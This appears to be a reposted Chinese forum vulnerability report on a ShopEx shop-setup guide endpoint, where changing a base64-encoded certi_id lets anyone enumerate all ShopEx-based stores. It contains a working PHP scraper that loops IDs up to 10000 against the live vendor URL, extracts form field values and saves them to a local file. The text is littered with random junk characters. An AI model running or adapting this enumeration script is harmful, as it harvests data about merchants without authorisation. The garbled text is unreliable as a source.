|
|
简要描述:- H( M4 e: Z. w8 `6 z6 K
ShopEx某接口缺陷,可遍历所有网站
' e" Q; c5 _& m8 R详细说明:4 l: t. c8 ` u
问题出现在shopex 网店使用向导页面
( r$ C2 g2 ]6 [: H
, E. a7 z) y$ a$ E# v
# ?" ~: R3 t* I' G4 F( y" S3 e O" Y- w) J3 @; A0 s3 a" K6 C0 w
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
1 n) a4 \& K4 n' \7 P; d, j6 K% I" ~& y
, V8 K) a1 {8 A6 D5 i; I [# S0 J% q2 g2 E2 u7 i& _( W! y, G/ E& l: @: R" x
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
% G; B; V' Z5 @; N& A, }) R
9 a% Z2 E9 @* y( }. j Y t4 ~6 U
+ T1 E0 q( `1 t! }* L# K4 Y2 o3 Q8 G8 j4 y: P$ F
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
) C4 G. i3 z7 D0 _5 |9 W* F2 S3 r) Y7 d% k& W6 Z) m1 y
8 M1 U5 {1 s# _5 C2 C5 S
5 d! ?3 q$ p( {' o<?php
- M7 K* n8 W1 A9 o2 O' ]* O7 O$ t( r. X
for ($i=1; $i < 10000; $i++) { //遍历$ L- B8 ^5 N- L
( \1 h3 ` }$ C) x8 y8 z% i
ShowshopExD($i);
$ ] j- b% ^* T2 t- w6 }; W
0 \6 I5 g; j8 T* @. i9 d- p }! J2 s$ ]2 Z5 L: e7 v0 A8 j
% p1 N1 x( }& c7 k( Q. G( ?
function ShowshopExD($cid) {! Q6 Z. W2 M; n
, c) N6 C7 b7 g& x5 l f1 L: c $url='http://guide.ecos.shopex.cn/step2.php';
5 F b8 q! o4 Y7 B: ?6 V& r9 b( r
6 W1 J: [* U8 C2 r; M8 T" O7 P! W+ @ $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');8 R8 i( `- L( b! n. l
# ~! Z0 F2 w# \) [0 A
$url = $url.'?refer='.$refer;
4 {2 i; Q' [8 c8 J' l# K% @1 h" M& {/ o6 }4 q) K; W
$ch = curl_init($url);/ J' H9 w" [# S4 v- i# K
8 ?0 S) C, a& b- ~3 F! } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;; p! M; J3 N4 _7 a
7 h2 `* R+ \7 D# P
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;" D* a* B: D* P5 X6 h6 l% l
! |8 i0 y5 o0 d% j3 i+ A4 j
$result = curl_exec($ch);
& G% k N, E2 r9 Q
6 i% a5 {" B$ ~1 ^: z1 F/ `/ x $result = mb_convert_encoding($result, "gb2312", "UTF-8");8 p1 A2 S- K `
0 g* N/ U6 o) B2 F- X if(strpos($result,$refer))9 ~2 I% D$ A- P0 x# W8 k. P! s
( D' G1 f7 `/ ?1 v0 n; Z1 x% h
{2 _6 n# M3 w; V1 n6 Q) e3 Z+ p
1 t0 M" L" L+ i
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
* S4 ?" Q C( A4 N, @6 _
5 C. o! C- l4 h) _- G; X! _ preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);: N1 S4 H( ?1 v5 c m
+ ^8 y+ T! h7 P9 _6 o a) L1 E
foreach ($value[1] as $key) {
) a# T' W# J1 l- c6 e
: r$ ~7 g0 }7 |! K; F4 c4 H1 o+ {1 {) _ preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);; E6 o, i3 h# X4 x* f: `
$ f& Q$ p% w" i* T& {- \
echo $res[1][0].':'.$res[3][0]."\r\n"; H N6 T: C4 c3 @
1 k& j" e6 H, K' K$ N $col =$res[1][0].':'.$res[3][0]."\r\n";
2 e2 H+ X& b/ h, C% Z5 K3 b+ |
" ^" |0 e5 R2 C0 k+ ]4 H: c4 Z fwrite($fp, $col, strlen($col)); W( \( S, ?" p: E9 I o
+ V6 ~$ _; I6 P- @; {7 V& x
}
5 f3 }9 A; u+ E4 r8 r% }+ c- n3 J* i% n9 @8 L* n
echo '--------------------------------'."\r\n";2 H8 b+ H- H; a9 V/ Y
; h7 z% F6 k8 ]
fclose($fp);
! }! n$ Z& ^" T; q! {7 k9 W4 F
: v6 k5 p3 k: q1 U }
: l$ X$ z+ G) U- g# W& X5 I; d, P* L2 ?: Y( F* ?- T( L$ r
flush();
0 V% |( U) f+ S. d g: @+ ?% q# L+ w: u% \. i0 e
curl_close($ch);
8 K+ s7 S- C2 O5 H. t9 g2 f
+ O% p6 r) p: Z5 g }
' s9 G) P, `8 P6 w P/ x1 @: a8 O4 N- i) L* l
?>7 T$ o8 {2 `) F/ {: n; y
漏洞证明:
( P! l% q5 S# g w+ Chttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg' z1 D* ?% m# Y c. \* }2 h9 t% n
refer换成其他加密方式6 c+ I$ j5 `- [) c
|
|